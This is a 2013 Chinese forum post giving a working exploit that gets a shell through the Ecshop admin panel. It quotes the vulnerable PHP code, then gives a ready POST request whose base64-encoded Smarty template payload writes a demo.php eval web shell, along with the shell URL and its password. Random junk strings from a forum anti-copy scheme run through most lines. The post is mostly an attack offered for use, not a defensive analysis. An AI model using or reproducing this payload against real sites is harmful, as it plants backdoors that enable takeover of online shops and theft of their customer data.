找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2576|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
; w4 K0 @" }8 I0 U9 B3 S) T; a7 `7 G& Y  D, T
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了# `" L9 b1 l/ E$ r
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码9 t) g+ V% y: l; R) k6 `
admin/template.php; w! z1 s& Q- S' o8 V  A5 ]

: v2 Q( m! ?* U+ I1 if ($_REQUEST['act'] == 'update_library')
. T3 m6 R+ h; O3 o! v4 k8 K6 q7 H, U! B7 s, t( Z, t5 [  e
2   
3 D$ y( \1 M7 z, l6 r6 H1 k$ a
- ]8 e- j1 q, ]0 |5 y3 b3 { * c0 {$ M1 S1 h, B4 y+ E
; D- B+ l+ S1 D8 I4 G
4     check_authz_json('library_manage');
: R: ^  \$ ?. S+ w! @7 Q4 Y& N0 z! v; A: _2 T
5   3 S0 ^, f2 F2 v' B  C! M2 e

4 m' O$ m% z0 z( ^6     $html = stripslashes(json_str_iconv($_POST['html']));
8 k: F! u9 W2 |. c1 Y; L4 T: x9 Q  h" |% e3 z2 o$ r/ w
7   
, B) x& F* E9 Q) Q! H$ U! V
& w! W' i- I/ E& b4 e8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 5 w% z- |& S5 p% b  V) o0 _6 I. R
6 U" j! {6 r- ^% ^( }6 W
9   : p& [7 |$ w9 V1 J4 \: c6 Y) m

; P2 z4 D! K; E) l% i7 ~10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 & W/ c6 C$ `$ c! N; U% K! C6 f

! O! U4 Q/ G0 c8 ]11   
2 r$ J' m" Y" {! g. A# e% a3 ^" h9 o& Q
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); & {6 _' p3 j( h; U

: E" c( l* J) g6 D13   
& {- ]& O+ W' W% f# p7 B
* F0 C& C4 H$ X# W# H/ [14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
& S. F) h1 S8 \# G, F  H+ {% n1 u- {8 I8 L' `. }& i( @: M
15     {
. W+ A- x( P9 k: ]' t% a
1 |) f. C3 m6 D% e, m16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. m; _9 q: f' A; }% W) a
# H. Z1 A2 q1 }. w17         make_json_result('', $_LANG['update_lib_success']); 2 |, @  W2 P! t% \/ m7 G

+ V7 P, w/ y# h! S18     }
! j, o+ b& W1 ^8 G* ^9 z3 b4 R1 S2 P8 X) C' B/ p
19     else 8 @3 w$ J9 \$ x8 s+ h' \- l0 t

  C5 [7 X/ u& V$ e20     { ( }2 g4 V. g5 B$ k  a
# {; S! p( F* f/ v+ P
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); & b5 l* Z, w; t6 \: p0 B
% ]+ E- f8 Z2 h) s) W
22     }
$ r- `$ ]" L1 i& o: M) S& O, M; c3 T6 C+ Z8 w7 s$ P
23 }
- W/ x8 b* U. \$ d; V
+ m: T4 T" o5 B那么找个比较方便调用了模板的文件" n. U' ?/ r( T+ ^. y
index.php
1 L! c! R. t: f- I! Z, y8 G1 g8 |6 T
1 if ($act == 'cat_rec')
$ u- s# z; _* T% O7 @0 O2 F8 N0 H7 C6 ]/ q
2   
8 |4 i! b  J( X) B7 I% {% {9 Y5 A: x* c2 z- L0 U$ x
3 {
2 f) k; s8 m5 H' L: ^+ a- K2 L: r
4   5 p8 \( r/ [+ A, U6 x

) p4 _. \$ P" R, y9 C% Y( @5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
) I9 Y# p0 S3 f
! m4 _' C  J+ ^. f6   - D6 N- ]/ D. j8 {
$ r9 u' g' F# ?" u: z# g* e
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- n* b) v2 g! `5 N% K, g$ e! ?9 Q" T! ]9 X
8   5 G. |/ f& k5 o1 }+ w
8 S& ^* H: V) O8 n8 Q" T6 y6 e
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ; [0 }0 ]7 z7 l, @- f

* f7 Z: x8 b4 _; R6 y# N+ t6 E% C10   + B. {. }9 y( t9 V

7 B1 W9 U4 L/ A4 E( v  V11     include_once('includes/cls_json.php');
& W8 Y1 e* G( ~
3 F" c# ?5 m% S7 x, H  A1 K8 S12   ! r' H1 K4 ?8 A; p

% e/ X4 g9 K$ V0 f, S3 C1 K13     $json = new JSON; & F; Q) l1 d; c% e: j7 }- o% t
! d5 M& n  I' k+ l+ B2 J9 F( {: J
14   
0 s* e% C+ E0 I0 T$ r% [( }$ n. b; z% g7 ]7 ?( U
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); - v: z( f7 Y6 Z. m
7 _0 Y4 f' b4 Y9 [
16   
3 n1 o- b/ H! ^% Y1 o& p# ^  x2 ]% m; u7 |
17     $children = get_children($cat_id); 2 i! e) C- a: \( t# p7 {

* g6 c, b* B1 S18   " B& i( x6 Q" B5 U& j: Z( Z* a

8 O, g+ a* a( _3 K! c6 V' G/ \4 E19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 ( r0 s9 d* M$ E9 z

6 C! C% n, y0 S* \20   
& j2 t5 I6 T% d2 H6 r# b/ o) _, V4 y/ h1 t
21     $smarty->assign('cat_rec_sign', 1); 9 z. W9 I) @- X! n5 y$ y

1 Q6 _! \; i% a/ }22   . l$ J$ Q6 O7 M) g/ C. _( _

" k- b, B$ n1 M+ e8 b+ E23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
& L" O1 T5 i& l2 j+ j/ P5 t
) H( T4 r0 ~% W7 U24   ' h/ W% J# X- L0 _- z
- R, ^" |% b4 @
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
) ?7 t6 F& L1 c
$ B7 @" s" }; `26   
/ y$ f5 t& Y& T/ G# M% S( O) X) x! G* B
27         echo $rec_array[$rec_type]; $ k' s. G/ S  V( c

# w1 I5 F2 l1 J% x28   ) L4 w* N2 U9 d0 ]* q

* @' U* @* |5 d  R' _29     die($json->encode($result));
- ], e# _4 B4 U3 G9 J( K* U1 D- j; ?$ M2 _* d3 d9 v* l( `
30   
1 N& _/ R$ L6 A! }/ Z# p' k9 a. @* w. h1 ~  t
31 }
0 e3 O* U  @9 q2 r  l. l9 {
. Y4 G: u2 k+ |$ M9 f9 D( e4 x% Z那么就有利用方法了
) J" p& w) B* O: r* j2 Upost包到http://localhost/ec/admin/template.php?act=update_library
* R: j8 ]" z4 a* L5 P5 s) sPost内容:6 G4 p6 G; T$ m4 A. V
; w5 e7 M6 P6 \$ h) {5 \
- p6 P+ S8 g+ M. _
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} % B- T. J/ e# ]: a+ d0 T7 A

" o+ P4 S: @4 r) U5 ]* i1 C1 m: p然后访问http://localhost/ec/index.php?act=cat_rec
( f6 {: J! t/ K) C6 w. ^' P0 L
# M& \& @  B3 m' {shel地址:http://localhost/ec/demo.php/ k3 L! ]3 K' m$ Y6 |
密码c
6 e+ D8 P8 B3 K/ L! a
7 A; Z8 {. U/ t! N9 R9 f% R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表